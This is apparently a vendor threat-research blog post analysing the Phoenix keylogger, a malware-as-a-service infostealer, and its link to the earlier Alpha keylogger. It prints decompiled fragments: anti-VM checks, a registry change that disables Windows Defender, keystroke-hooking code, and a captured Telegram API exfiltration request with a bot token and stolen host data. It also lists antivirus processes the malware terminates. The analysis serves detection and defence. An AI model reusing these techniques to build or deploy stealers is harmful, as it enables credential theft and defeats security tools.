Phoenix: The Tale of the Resurrected Keylogger

Cybereason.com/blog/phoenix-the-tale-of-the-resurrected-alpha-keylogger







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Introduction: Keylogger Malware

Cybereason's Nocturnus team is tracking a new keylogger gaining traction among cybercriminals called *Phoenix*. The keylogger first emerged in July 2019 packed with a myriad of information-stealing features. These features extend beyond solely logging keystrokes, to the point where we are inclined to classify it as an infostealer.

This research explains several aspects of the Phoenix keylogger, including:

- 1. **A Look Into the Underground Community**: The underground, ongoing marketing efforts to promote Phoenix and its reception in the underground community.
- 2. **A Technical Breakdown:** A technical breakdown of the Phoenix keylogger, including info stealing capabilities, communication through Telegram, and potential persistence.
- 3. **The Connection to a Previous Keylogger**: The discovery of the Phoenix keylogger's connection to the "orphaned" Alpha keylogger.

Key Findings

- **The Phoenix Keylogger**: The Cybereason Nocturnus team is investigating multiple incidents of a new, emerging keylogger called *Phoenix*, and is now able to provide details into the keylogger's operations and its creator.
- Steals Data From Multiple Sources: Phoenix operates under a malware-as-a-service model and steals personal data from almost 20 different browsers, four different mail clients, FTP clients, and chat clients.
- Tries to Stop over 80 Security Products: On top of its information stealing features, Phoenix has several defensive and evasive mechanisms to avoid analysis and detection, including an Anti-AV module that tries to kill the processes of over 80 different security products and analysis tools.
- **Targets Across Continents**: Despite Phoenix having been released in July 2019, it has already targeted victims across North America, the United Kingdom, France, Germany and other parts of Europe and the Middle East. We expect more regions to be affected as it gains popularity.
- Exfiltrates Data through Telegram: Phoenix offers common SMTP and FTP exfiltration protocols, but also supports data exfiltration over Telegram. <u>Telegram</u>, a popular chat application worldwide, is leveraged by cybercriminals for its legitimacy and end-to-end encryption.
- Has the Same Author as the Alpha Keylogger: Phoenix was clearly authored by the same team behind the Alpha keylogger, which disappeared earlier this year.
- "Malware for the People": This research showcases the ever-growing popularity of the Malware-as-a-Service model in the cybercrime ecosystem. Malware authors are developing malware that is easy for any user to operate and comes bundled with customer support and a competitive price point. As we move into 2020, we expect to see many less-technical cybercriminals leverage MaaS to commit cybercrime, especially as MaaS authors start to compete for the most impressive offering.

Advanced endpoint protection platforms address these kinds of attacks. Learn about the future of <u>EPPs during our webinar.</u>

Background: Phoenix Keylogger

At the end of July 2019, the Cybereason platform detected a malware sample that was classified by some antivirus vendors as <u>Agent Tesla</u>. Upon further review, however, it became clear that this was not Agent Tesla. We were able to determine this malware was a completely new and previously undocumented malware known as the *Phoenix keylogger*.



Phoenix MaaS Model Pricing

	Phoenix	Keylogger	Starting price at:
E Remo Digita Auto + 24 3 Del	ote Self-Destruction al Signature Spoofer Update Password Recovery livery & 2 Modes	 Screenshot Logger Machine Information Logger Unique Stub Generator Anti-Virtual Machine/Sandboxie and more 	\$25 CUCK HIRE

Phoenix updated MaaS model pricing.

In searching underground communities, we learned that Phoenix first emerged at the end of July in 2019. This keylogger follows the malware as a service (MaaS) model and is sold for \$14.99-\$25.00 per month by a community member with the handle *Illusion*.



Illusion's Join Date (24/07/2019)

Illusion joined the underground community at the end of July 2019 and immediately began marketing the keylogger. This behavior is somewhat unusual, as the underground community typically enforces a strict vetting process for members.

Reception in the Underground Community

Shortly after its launch, the Phoenix keylogger caught the attention of the underground community, with numerous members expressing interest in testing the product. The underground community views Phoenix quite favorably because of its stealing capabilities, stability, easy user interface, and customer support.

Example #1: Extremely User Friendly with Documentation



This cybercriminal's review expresses how easy Phoenix is to use. The in-depth review discusses documentation, cost, password recovery, and more - all items that are crucial to maintaining any SaaS.

Example #2: Comes with a User Guide and Friendly



This cybercriminal's review expresses how Phoenix comes with a user guide and friendly customer support. Specifically, they state how the owner of Phoenix is more than willing to help users if they have questions.

Example #3: 101% Support to Customers



Continued validation of the quality customer support the owner of Phoenix provides.



Illusion's response to a request for features and recent updates to the changelog.

Reviews of the Phoenix keylogger draw a stark contrast with some MaaS products sold in hacker forums. They praise Illusion's customer support and positive attitude toward the customer, as opposed to others in the underground community who view their customers solely as cash-cows.

These positive reviews suggest Phoenix's potential for widespread use in the future. Like many <u>modern MaaS</u>, Phoenix gives non-technical and technical users alike easy access to damaging and exploitative software through the proverbial swipe of a credit card. Phoenix is further proof of our ongoing belief that modern MaaS is creating a new group of cybercriminals that profit off of other, less technical cybercriminals.

Further, Phoenix shows how some cybercriminals are following many of the same methodologies as legitimate software-as-a-service (SaaS) businesses: marketing efforts, relying on positive reviews, responsive customer support, and regularly improving features in their product are hallmarks of a profitable SaaS.

Malware Analysis

Malware Capabilities

The Phoenix keylogger is written in VB.NET.

Phoenix has a host of features that extend far beyond keylogging, including:

- Keylogger + Clipboard Stealer
- Screen Capture

- Password Stealing (Browsers, Mail Clients, FTP clients, Chat Clients)
- Data exfiltration via SMTP, FTP or Telegram
- Downloader (to download additional malware)
- Alleged AV-Killer Module
- Anti-debugging and Anti-VM Features

Delivery Method

By default, *Illusion* supplies the Phoenix keylogger to their buyers as a stub. The buyer must use their own methods to deliver the stub to the target machine. The majority of Phoenix infections we observe originate from phishing attempts that leverage a weaponized rich text file (RTF) or Microsoft Office document. These deliveries do not use the more popular malicious macro technique, but instead use known exploits. Most commonly, they exploit the Equation Editor vulnerability (<u>CVE-2017-11882</u>).



Process tree of the Phoenix infection using a weaponized document.

Infected System Profiling

Once Phoenix successfully infects the target machine, it profiles the machine to gather information on the operating system, hardware, running processes, users, and its external IP. Phoenix stores the information in memory and sends it back to the attackers directly, without writing it to disk. Attackers commonly do this to be more stealthy, since it is harder to know what was exfiltrated if it is not written to disk.

Phoenix Keylogg	er - Passwords
+ Client INFO	+
IP:	
HWID:	
Owner Name:	
Full OS Name: Microso	ft Windows 7 Professional
OS Platform: Win32NT0	OS Version: 6.1.7601.65536
System Boot Mode: Nor	rmal
Physical Memory: 7.36	GB Available Of 8.19 GB
Virtual Memory: 1.86 G	B Available Of 2.04 GB
Date:	

Example of system profiling data sent to the attackers.

Anti-Analysis & Anti-Detection Features

It's clear *Illusion* invested time and effort into protecting Phoenix, as the stub uses a few different methods to protect itself from inspection.

- String Encryption: Most critical strings used by the malware are encrypted and only decrypted in memory.
- Obfuscation: The stub is obfuscated by what appears to be an implementation of the open source <u>ConfuserEx .NET obfuscator</u> to hinder correct decompilation and code inspection.

Illusion recommends using an additional third-party crypter to "make it FUD", or fully undetectable. It is worth noting that most Phoenix samples caught in the wild are packed with a crypter, but are still prevented by the majority of antivirus vendors.

After obtaining basic system information, Phoenix checks to see if it is running in a "hostile" environment. A hostile environment can take different forms: if Phoenix is deployed in a virtual machine, debugger, or on a machine with analysis tools or antivirus products installed. Phoenix has a set of features to disable different Windows tools within the admin panel, like disabling CMD, the registry, task manager, system restore, and others.

It is interesting to note that even though the user interface used by Phoenix's operators seems to have support for a persistence feature, most samples analyzed by Cybereason did not exhibit persistence behavior following a successful infection. A possible explanation to this can lie in the attackers' wish to minimize the risk of over exposure. Once Phoenix obtained the necessary data, there is no need for it to increase the risk of exposure by persisting longer than needed.

			_ □ X
	Main		
		Disable CMD	Add to startup
	Recoveries	Disable Registery	Melt
	Contract C	Disable Task Manager	USB Spread
Phoenix Kevlogger	reatures 7	Disable Run	
	Misc	Disable System Restore	Delete Cookies For
Username: P_Admin		Disable Windows Defender	□ Internet Explorer
	Properties	Mutex	
Expire Date: 12:00:00 AM	Dullet	Crash On Process Kill	
	bund	🗌 Anti AV's	
	Tools	Anti Sandboxie	
		🗆 Anti VM	
		🗌 Anti Debug	
		🗌 Anti Bot	Screenshot Clipboard
			L ReyLog

The Phoenix keylogger admin panel, with features to disable different tools.

Let's dive into some of the techniques Phoenix uses to detect a "hostile" environment.

Anti-VM Module

Most of Phoenix's anti-VM checks are <u>based on known techniques</u>. Given the checks used and their order, we believe they were most likely copy-pasted from the <u>Cyberbit blog</u>. Phoenix performs the checks and terminates itself if it discovers any of the following processes or files in the target machine.

```
مريدر_|åFWAϑW.Killme("Vmtoolsd");
ງມ____aFWAϑW.Killme("Vmwareuser");
ງົມງົ_|åFWAϑW.Killme("Vmacthlp");
_____aFWAϑW.Killme("vboxservice");
.uu )__|åFWA&W.Killme("vboxtray");
ا_رىبر_|åFWAϑW.killz("C:\\windows\\System32\\Drivers\\Vmmouse.sys");
ارىلىر_aFWAtw.killz("C:\\windows\\System32\\Drivers\\vm3dgl.dll");
ا_رىدر_|åFWA&W.killz("C:\\windows\\System32\\Drivers\\vmtray.dll");
aFWA&W.killz("C:\\windows\\System32\\Drivers\\VMToolsHook.dll");
ا_رىبر_|åFWAϑW.killz("C:\\windows\\System32\\Drivers\\vmmousever.dll");
ا_رىبر_|åFWA&W.killz("C:\\windows\\System32\\Drivers\\VBoxMouse.sys");
مال المراجع ("C:\\windows\\System32\\Drivers\\VBoxGuest.sys");
```

Phoenix checking for various running processes.

- Checking for running processes:
 - SandboxieRpcSs
 - Vmtoolsd
 - Vmwaretrat
 - Vmwareuser
 - Vmacthlp
 - Vboxservice
 - Vboxtray
- Checking for the existence of the following files:
 - c:\windows\System32\Drivers\VBoxMouse.sys
 - c:\windows\System32\Drivers\vm3dgl.dll
 - c:\windows\System32\Drivers\vmtray.dll
 - c:\windows\System32\Drivers\VMToolshook.dll
 - c:\windows\System32\Drivers\vmmousever.dll
 - c:\windows\System32\Drivers\VBoxGuest.sys
 - c:\windows\System32\Drivers\VBoxSF.sys
 - c:\windows\System32\Drivers\VBoxVideo.sys
 - c:\windows\System32\VBoxService.exe

Disabling Windows Defender

Phoenix attempts to disable the Windows Defender AntiSpyware module by changing the following registry key.

```
MyProject.Computer.Registry.SetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\
    \Policies\\Microsoft\\Windows Defender", "DisableAntiSpyware", "1",
    RegistryValueKind.DWord);
```

Phoenix attempts to disable Windows Defender Antispyware.

Anti-AV Module

Phoenix's anti-AV module tries to terminate the process of a vast number of security products.



Phoenix terminating the process of different security products.

Security Products Phoenix Attempts to Terminate:

zlclient, equi, bdagent, npfmsg, olydbg, anubis, wireshark, avastui, Avp32, vsmon, mbam, keyscrambler, Avpcc, Avpm, Ackwin32, Outpost, Anti-Trojan, ANTIVIR, Apvxdwin, ATRACK, Autodown, Avconsol, Ave32, Avgctrl, Avkserv, Avnt, Avp, Avp32, Avpcc, Avpdos32, Avpm, Avptc32, Avpupd, Avsched32, AVSYNMGR, Avwin95, Avwupd32, Blackd, Blackice, Cfiadmin, Cfiaudit, Cfinet, Cfinet32. Claw95, Claw95cf, Cleaner, Cleaner3, Defwatch, Dvp95, Dvp95_0, Ecengine, Esafe, Espwatch, F-Agnt95, Findviru, Fprot, F-Prot, F-Prot95, Fp-Win, Frw, F-Stopw, Iamapp, Iamserv, Ibmasn, Ibmavsp, Icload95, Icloadnt, Icmon, Icsupp95, Icsuppnt, Iface, Iomon98, Jedi, Lockdown2000, Lookout, Luall, MCAFEE, Moolive, Mpftray, N32scanw, NAVAPSVC, NAVAPW32, NAVLU32, Navnt, NAVRUNR, Navw32, Navwnt, NeoWatch, NISSERV, Nisum, Nmain, Normist, NORTON, Nupgrade, Nvc95, Outpost, Padmin, Pavcl, Pavsched, Pavw, PCCIOMON, PCCMAIN, Pccwin98, Pcfwallicon, Persfw, POP3TRAP, PVIEW95, Rav7, Rav7win, Rescue, Safeweb, Scan32, Scan95, Scanpm, Scrscan, Serv95, Smc, SMCSERVICE, Snort, Sphinx, Sweep95, SYMPROXYSVC, Tbscan, Tca, Tds2-98, Tds2-Nt, TermiNET, Vet95, Vettray, Vscan40, Vsecomr, Vshwin32, Vsstat, Webscanx, WEBTRAP, Wfindv32, Zonealarm, LOCKDOWN2000, RESCUE32, LUCOMSERVER, avgcc, avgcc, avgamsvr, avgupsvc, avgw, avgcc32, avgserv, avgserv9, avgserv9schedapp, avgemc, ashwebsv, ashdisp, ashmaisv, ashserv, aswUpdSv, symwsc, norton, Norton Auto-Protect, norton av, nortonav, ccsetmgr, ccevtmgr, avadmin, avcenter, avgnt, avguard, avnotify, avscan, guardgui, nod32krn, nod32kui, clamscan, clamTray, clamWin, freshclam, oladdin, sigtool, w9xpopen, Wclose, cmgrdian, alogserv, mcshield, vshwin32, avconsol, vsstat, avsynmgr, avcmd, avconfig, licmgr, sched, preupd, MsMpEng, MSASCui, Avira.Systray

Phoenix's Core Stealing Functionality

Once Phoenix finishes checking for a hostile environment, it executes several different stealing modules.

Credential Stealing

Phoenix attempts to steal credentials and other sensitive information stored locally on the target machine by searching for specific files or registry keys that contain sensitive information. It searches browsers, mail clients, FTP clients, and chat clients.

Browsers

Chrome, Firefox, Opera, Vivaldi, Brave, Blisk, Epic, Avast browser, SRware Iron, Comodo, Torch, Slimjet, UC browser, Orbitum, Coc Coc, QQ Browser, 360 Browser, Liebao

Mail Clients

Outlook, Thunderbird, Seamonkey, Foxmail

FTP Client

Filezilla

Chat Clients

Pidgin



Excerpt from Phoenix's Outlook module



Excerpt from Phoenix's Pidgin module

Keylogger Module

Phoenix uses a common method of hooking keyboard events for its keylogging. It uses a Windows API function <u>SetWindowsHookExA</u> to map the pressed keys, then matches them to the corresponding process.



Excerpt from Phoenix's keylogger hooking function.

```
StringBuilder stringBuilder = new StringBuilder();
byte[] lpKeyState = new byte[255];
if (!GClass0.GetKeyboardState(lpKeyState))
{
    result = "";
    return result;
}
uint wScanCode = GClass0.MapVirtualKey(VKCode, 0u);
IntPtr foregroundWindow = GClass0.GetForegroundWindow();
int num = 0;
int windowThreadProcessId = GClass0.GetWindowThreadProcessId(foregroundWindow, ref num);
IntPtr dwhkl = (IntPtr)GClass0.GetKeyboardLayout(windowThreadProcessId);
GClass0.ToUnicodEx(VKCode, wScanCode, lpKeyState, stringBuilder, 5, 0u, dwhkl);
result = stringBuilder.ToString();
return result;
```

Phoenix keylogger functionality matching keystrokes to the relevant process.

Network & C2 Communication

Phoenix checks for Internet connectivity and obtains the external IP address of the target machine by sending a GET HTTP request to <u>ifconfig.me</u>, a known Internet service. This service gives Phoenix the external IP address of the target machine, or terminates itself if there is no Internet connectivity.

```
GET /ip HTTP/1.1
Host: ifconfig.me
Connection: Keep-Alive
HTTP/1.1 200 0K
Date: Wed, 30 Oct 2019 07:22:41 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 14
x-cloud-trace-context: daf644b0b90b764ee428a063572d9e34/6182336926651656875
Access-Control-Allow-Origin: *
X-Frame-Options: DENY
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Referrer-Policy: strict-origin-when-cross-origin
Via: 1.1 google
```

Phoenix determines the external IP of an infected machine using a legitimate web service

Phoenix can post stolen data in cleartext over SMTP, FTP, or Telegram.

SMTP Communication & Exfiltration

For the majority of cases, Phoenix posts the stolen data using the SMTP protocol. The stolen data is sent as an email to an email address controlled by the attacker.

From: Compagebocsh.com
To:@gpbocsh.com
Date:
Subject: PX PSWD Client Name: admin
Content-Type: text/plain: charset=us-ascii
Content-Transfer-Encoding: guoted-printable
5 1 1 1 1 1 1 1
Phoenix Keylogger - Passwords =0D=0A+==
Client INFO+=0D=0AIP 6=0D=0AHWID:=
1F8BFBFF000506E3=0D=0A0wner Name: USER-PC=0D=0AFull OS Name: Mic=
rosoft Windows 7 Professional =0D=0A0S Platform: Win32NTOS Versio=
n: 6.1.7601.65536=0D=0ASystem Boot Mode: Normal=0D=0APhysical Mem=
ory: 3.02 GB Available Of 3.58 GB =0D=0AVirtual Memory: 1.87 GB =
Available Of 2.04 GB =0D=0ADate: 10/10/2019 8:58:25 AM=0D=0A=
=0D=0A=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3DChrome=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
Host: https://m.facebook.com/=0D=0AUsername:h=0D=0AP=
assword:=0D=0A=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
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=3D=3D=0D=0AHost: 192.168.1.1=0D=0AUsername:m=0D=0AP=
assword:=0D=0A=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3DFirefox=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=0D=0AHost: https://m.facebook.com=0D=0AUsername:
com=0D=0APassword:5=0D=0A=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=0D=0A=0D=0A=0D=0A=0D=0A=0D=0A==
Stolen browser data exfiltrated as an email message

Telegram Communication & Exfiltration

Alternatively, in some cases Phoenix exfiltrates data by abusing the API of the popular Telegram chat application. This method of exfiltration is quite stealthy, since it abuses Telegram's legitimate infrastructure. Other malware have also started to use this technique, including the <u>Masad Stealer</u>.

Phoenix sends an HTTP request to Telegram's chat bot. This request includes the Telegram API key, chat ID, and the stolen data is passed through the *text* parameter in URL encoding.

01b6df50 -> <pre>https://api.telegram.org/</pre>
bot976697820:AAHcRwm0Pa7nRcvDc08NpZm4btiL9IMKGdI/sendMessage?
<mark>chat_id=957693853&text=</mark> %7C%20Phoenix%20Keylogger%20-%2
0Passwords%20%7C%0D%0A+%20Client%20INF0%2
0+%0D%0AIP:%2091.132.136.164%0D%0AHWID:%204537D4
9C93%0D%0AOwner%20Name:%20210979%0D%0AFull%200S%20Name:%20Mic
rosoft%20Windows%207%20Professional%20%0D%0A0S%20Platform:%20
Win32NTOS%20Version:%206.1.7601.65536%0D%0ASystem%20Boot%20Mo
de:%20Normal%0D%0APhysical%20Memory:%207.51%20GB%20%20Availab
le%200f%208.19%20GB%20%0D%0AVirtual%20Memory:%201.86%20GB%20%
20Available%200f%202.04%20GB%20%0D%0ADate:%2011/1/2019%204:50
:10%20AM%0D%0A%0D%0A
%0D%0A%0D%0A%0D%0A%0D%0A~

HTTP request sent to Telegram's API extracted from memory.

Telegram HTTP request pattern used by Phoenix

	Phoenix Keylogg	er - Passwords
+	Client INFO)+
IP:		
HWI	D:	
Own	er Name:	
Full (OS Name: Microso	ft Windows 7 Professional
OS F	Platform: Win32NT	OS Version: 6.1.7601.65536
Syste	em Boot Mode: Nor	rmal
Phys	sical Memory: 7.36	GB Available Of 8.19 GB
Virtu	al Memory: 1.86 Gl	B Available Of 2.04 GB
Date	e: (

URL decoded text posted to a Telegram bot.

The Telegram bot responds with the following details:

```
{"ok":true,"result":{"message_id":[redacted],"from":{"id":
[redacted],"is_bot":true,"first_name":"[redacted]","username":"[redacted]"},"chat":{"id":
[redacted],"first_name":"[redacted]","last_name":"[redacted]","type":"private"},"date":
[redacted],"text":"}
```

The stolen data is passed through Telegram, allowing the user to leverage a legitimate application for malicious communication and exfiltration.

Additional Communication with the C2 Server

At its current stage of development, Phoenix does not seem to use a standard, interactive C2 model. Specifically, it doesn't expect to receive commands back from the C2 server. Phoenix's various tasks like infostealing, downloading additional malware, and spreading via USB are predefined by the operators in the configuration file before compilation. Phoenix uses a predefined exfiltration method from the configuration file to steal any collected data on execution.

Connecting to Alpha Keylogger

During our investigation, we discovered the Phoenix keylogger is actually an evolution of an earlier project, *Alpha keylogger*. We believe the Alpha keylogger was authored by the same team behind the Phoenix keylogger.

Code Similarity Between Alpha and Phoenix Keylogger

In order to investigate deeper, we used YARA rules and other methods to retrieve additional samples of Phoenix. One of the samples we retrieved was almost identical to Phoenix, with some parts copy-pasted with the same naming conventions, parameter names, and more. However, the name of the malware as it appeared in logs and in code, was consistently Alpha keylogger.

Similarities Between INFO Schemes

Alpha Keylogger - Logs
+ <u> Clien</u> t INFO+
IP:
HWID:
Owner Name:
Full OS Name: Microsoft Windows 7 Professional
OS Platform: Win32NTOS Version: 6.1.7601.65536
System Boot Mode: Normal
Physical Memory: 7.35 GB Available Of 8.19 GB
Virtual Memory: 1.86 GB Available Of 2.04 GB
Date: AM

Alpha Keylogger Client INFO Scheme



Phoenix Keylogger Client INFO Scheme

Similarities Between SMTP Configurations

GClass0.sesao = Strings. <mark>StrReverse("or∥GPϑGå");</mark>
GClass0.logagas = "";
GClass0.process_0 = Process.GetProcesses();
GClass0.string_3 = "False";
GClass0.string_4 = "422 429 391 402 416 430 397 423 366 429 397 386 431 433 369 401 381 410 392 434 423
400 383 366 395 421 421 366 380 365 401 373";
GClass0.string_5 = "415 417 355 416 419 359 384 415 382 426 382 387 434 379 361 396 414 394 388 424 434
409 430 389 383 425 426 401 361 393 381 373";
GClass0.string_6 = "421 377 388 388 383 425 377 391 379 364 401 387 402 393 366 369 379 359 423 413 423
359 389 396 422 362 360 394 368 385 381 373";
GClass0.string_7 = "415 360 395 367 419 368 418 387 386 395 410 429 421 430 380 395 389 393 412 421 395
GClass0.string_8 = "429 425 431 414 428 410 397 360 365 379 367 412 400 398 400 426 411 366 382 396 422
GClass0.string_9 = "394 416 396 429 364 360 410 392 367 400 384 369 433 418 432 424 417 360 355 401 379
GClass0.string_10 = "394 416 396 429 364 360 410 392 367 400 384 369 433 418 432 424 417 360 355 401 379
GClass0.string_11 = "394 416 396 429 364 360 410 392 367 400 384 369 433 418 432 424 417 360 355 401 379
GClass0.LTEVA = "394 416 396 429 364 360 410 392 367 400 384 369 433 418 432 424 417 360 355 401 379 415
GClass0.ETVALWE = "394 416 396 429 364 360 410 392 367 400 384 369 433 418 432 424 417 360 355 401 379 4
GClass0.string_12 = "RMMMELER";
GClass0.string_14 = "picture";
GClass0.string_15 = ".png";

Phoenix Keylogger SMTP Configuration

GClass0.Timer_5 = new System.Windows.Forms.Timer();
GClass0.sesao = Strings.StrReverse("3eeoiax");
GClass0.logagas = "";
GClass0.process_0 = Process.GetProcesses();
GClass0.string_3 = "SMTP";
GClass0.string_4 = "366 385 392 426 362 387 394 398 402 432 411 368 431 402 378 355 426 396 382 378 361
361 418 419 402 430 413 355 395 368 411 373";
GClass0.string_5 = "384 415 395 415 382 416 413 363 396 433 394 427 362 380 410 365 417 410 391 369 410
396 400 412 420 380 369 417 428 399 363 422 426 383 398 390 393 416 368 424 379 382 401 398 434 393 40
GClass0.string_6 = "420 355 360 432 411 429 416 401 367 360 386 359 409 390 393 428 361 381 416 429 424
368 364 391 369 409 414 367 402 377 415 373";
GClass0.string_7 = "420 361 424 418 395 385 400 379 378 400 416 366 411 401 412 394 429 413 394 428 432
GClass0.keylogs = new StringBuilder();
GClass0.string_8 = "423 369 360 394 418 379 423 386 434 410 387 427 367 428 424 409 419 391 416 431 394
GClass0.string_9 = "421 401 402 399 409 417 411 423 401 380 369 399 416 396 401 432 434 379 386 383 362
GClass0.string_10 = "421 401 402 399 409 417 411 423 401 380 369 399 416 396 401 432 434 379 386 383 362
GClass0.string_11 = "421 401 402 399 409 417 411 423 401 380 369 399 416 396 401 432 434 379 386 383 362
GClass0.LTEVA = "421 401 402 399 409 417 411 423 401 380 369 399 416 396 401 432 434 379 386 383 362 393
GClass0.ETVALWE = "421 401 402 399 409 417 411 423 401 380 369 399 416 396 401 432 434 379 386 383 362 3
GClass0.string_12 = "RMMMELER";
GClass0.string_14 = "picture";
GClass0.string_15 = ".png";

Alpha Keylogger SMTP Configuration

Similarities Between SMTP FUNCTIONS



Phoenix Keylogger SMTP Function



Alpha Keylogger SMTP Function

Similarities Between SELF-TERMINATION FUNCTIONS



Phoenix Keylogger Self-termination Function



Alpha Keylogger Self-termination Function

Alpha Keylogger Overview

In searching the underground communities, we found references to the Alpha keylogger beginning as early as April of 2019. At that time, member *Alpha_Coder* and later, member *AK_Generation,* began marketing the keylogger to the underground community.



Alpha keylogger launched in April 2019 by Alpha_Coder.

In reviewing Alpha_Coder's marketing materials, it is clear the two keyloggers are linked. They share the exact same features, and the description of the features uses the exact same phrasing and even font.



Phoenix Keylogger Marketing

3 DELIVERY OPTIONS

Logs can be sent to your smtp or ftp or telegram depends on your preference. No limits, use your gmail, yahoo, yandex or your own web hosting.

UNIQUE STUB GENERATOR

Every build of your stub will be different to each other. This wil help your stub to evade from past detection.

ANTI-VM / SANDBOXIE

This will protect your stub from being examined by unauthorized person in his/her own virtual environment or sandboxie.

ANTIVIRUS KILLER

For your stub's execution success rate, we included this feature that can kill more than a hundred anti-virus.

PASSWORD RECOVERY Our password recovery will grab all accounts in a computer to have your own backup incase you forgot one of them.

STRONG ENCRYPTION

We value our customer so we ensure that your details in the stub and keylogger are encrypted with a strong encryption and we dont save logs.

DOWNLOADER

Add a direct url or address to your keylogger and it will execute your file carefully to the machine.

SCREENSHOT LOGGER

Take a look on what the other person is doing on his computer by enabling this features. A complete screenshot will be sent to you.

INFORMATION LOGGER

Get the full specs of a machine with the help of this feature. Know the amount of RAM, name of processor, etc including the IP Address.

SELF-DESTRUCTION

Our keylogger will uninstall and deletes all the traces after a certain time if you enable this feature. You can also do it remotely.

Alpha Keylogger Marketing

In addition, the design of the admin panel for the Alpha keylogger is very similar to the design of the admin panel for the Phoenix keylogger.

- × AlphaKeylogger Main Recoveries Features Misc Build Account	- x AlphaKeylogger Main Recoveries Features Misc Build Accourt
Send Log Interval (Min/k) SMTP FTP Delay Execution (Min/k) Cuttom Show Passoord Username: IPP Oxemane Receiver Email: enaul@email.com Username: IPP Oxemane Serter Email: enaul@email.com Username: IPP Oxemane Serter Passoord postmord URL: //pu//www.scample.com/scample.tot Serter Passoord postmord Serter Serter SMTP Server: smg server Show Details Bot Toker: for Toker Cruit ID Load Save Text	□ Disable CMD □ Add to startup □ Disable Registery □ Met □ Disable Registery □ Met □ Disable Bask Manager □ Strable Spread □ Disable System Restore □ Anti VM □ Disable Windows Defender □ Cipboard □ Crash On Process Kill □ Cipboard
AlphaKeylogger Main Recoveries Features Misc Build Accourt	AlphaKeylogger More than a keylogger Main Recoveries Features Misc. Buil Account
Image: Chrome Image: Brave Image: Slimjet Image: Firefox Image: Black Image: Chrome Image: Firefox Image: Black Image: Chrome Image: Firefox Image: Chrome Image: Chrome Image: Chrome Image: Chrome Image: Chrome Image: Chrome Image: Chrome Image: Chrome Image: Chrome Image: Chrome Image: Chrome	Assembly Changer Trig: Description: Company: Product Copyright: Trademark: Copyright: Trademark: Copyright: Trademark: Copyright:

Alpha Keylogger Admin Panel

			_ 🗆 X
K a R	Main	Disable CMD	Add to startup
	Recoveries	Disable Registery	Melt
		Disable Task Manager	USB Spread
Phoenix Keylogger	Peatures 2	Disable Run	
,	Misc	Disable System Restore	Delete Cookies For
Username: P_Admin	Properties	Disable Windows Defender Mutex	Internet Explorer
Expire Date: 12:00:00 AM			Chrome
	Build		Firefox
	Toole	Anti Sandboxie	🗌 Opera
	TUUS	Anti VM	
		🗌 Anti Debug	
		🗆 Anti Bot	Screenshot Clipboard
			KeyLog
V1.1.0.0			

Phoenix Keylogger Admin Panel

Disappearance of Alpha, Emergence of Phoenix

In the beginning of July 2019, the two members responsible for marketing the Alpha keylogger went completely silent. This happened just before the emergence of the Phoenix keylogger at the end of July 2019.





A potential buyer wonders whether the Alpha keylogger is still available.

While it is not completely clear why the Alpha keylogger was abruptly shut down, chatter in the selling thread gives away potential clues. Alpha_Coder was banned from posting in the forum for one month, for reasons unknown. During that time, AK_Generation led marketing efforts for the Alpha keylogger.



AK_Generation marketing the Alpha keylogger.

AK_Generation was created on April 27, 2019, the same day the Alpha keylogger was first promoted by Alpha_Coder. Interestingly, AK_Generation also disappeared close to the launch date of the Phoenix keylogger. It is likely that Alpha_Coder and AK_Generation are operated by the same person, and that AK_Generation was created as a backup account for Alpha_Coder.



The last time AK_Generation was seen on the underground community.

We believe the Phoenix keylogger is not just an evolution of the Alpha keylogger, but also an attempt to rebrand and give the author a clean slate in the underground community.

Conclusion

This research breaks down the Phoenix keylogger, an information stealer operating under a malware-as-a-service model, currently under active development. Since its emergence in late July 2019, it has gained popularity in the underground community because of its ease of use, competitive pricing, and personal customer support.

Phoenix is more than just a keylogger, with broad information-stealing capabilities, self-defense mechanisms, which include an anti-AV module that attempts to stop over 80 security products, and the ability to exfiltrate data through Telegram. The majority of samples we identified in the wild do not implement a persistence mechanism, nor do they interact bidirectionally with the C2 server. Instead, the stolen data is posted to a pre-configured exfiltration method, which suggests Phoenix is being used mostly as a "set it and forget it" type of malware.

Based on our analysis, Phoenix's malware-as-a-service model appeals to a broad range of cybercriminals, particularly the less sophisticated who do not possess the technical know-how to develop their own successful malware infrastructure. This signals a continued trend of cybercriminals following the malware-as-a-service model to make malware accessible for any level user. Malware authors are starting to use many of the same methodologies as legitimate software-as-a-service businesses, including marketing their software, personalized customer support, and an easy user interface to continuously profit off of other, less technical cybercriminals.

Moving into 2020, we expect a proliferation of less-technical cybercriminals to leverage MaaS to target, steal, and harm individuals, particularly as MaaS authors add additional features to their offerings.

Want to hunt for these kind of threats? Check out our webinar to <u>learn more about how to threat</u> <u>hunt.</u>

INDICATORS OF COMPROMISE

Find the indicators of compromise for this attack here.

MITRE ATT&CK TECHNIQUES BREAKDOWN

Initial Access	Execution	Defense Evasion	Credential Access	Discovery	Collection	Command and Control
<u>Spear</u> Phishing Attachment	<u>Execution</u> <u>through</u> <u>API</u>	<u>Software</u> Packing	<u>Credentials</u> from Web Browsers	<u>System Time</u> <u>Discovery</u>	<u>Data from</u> <u>Local</u> <u>System</u>	<u>Remote</u> File Copy
	<u>Command-</u> <u>Line</u> Interface	<u>Deobfuscate</u> / <u>Decode</u> <u>Files or</u> Information	<u>Credentials</u> <u>in Files</u>	<u>Account</u> <u>Discovery</u>	<u>Screen</u> <u>Capture</u>	<u>Web</u> <u>Service</u>
		Obfuscated Files or Information	<u>Input</u> <u>Capture</u>	<u>File and</u> <u>Directory</u> <u>Discovery</u>		
				<u>System</u> Information Discovery		
				<u>Query</u> <u>Registry</u>		

Process Discovery

<u>System</u> <u>Owner/User</u> <u>Discovery</u>

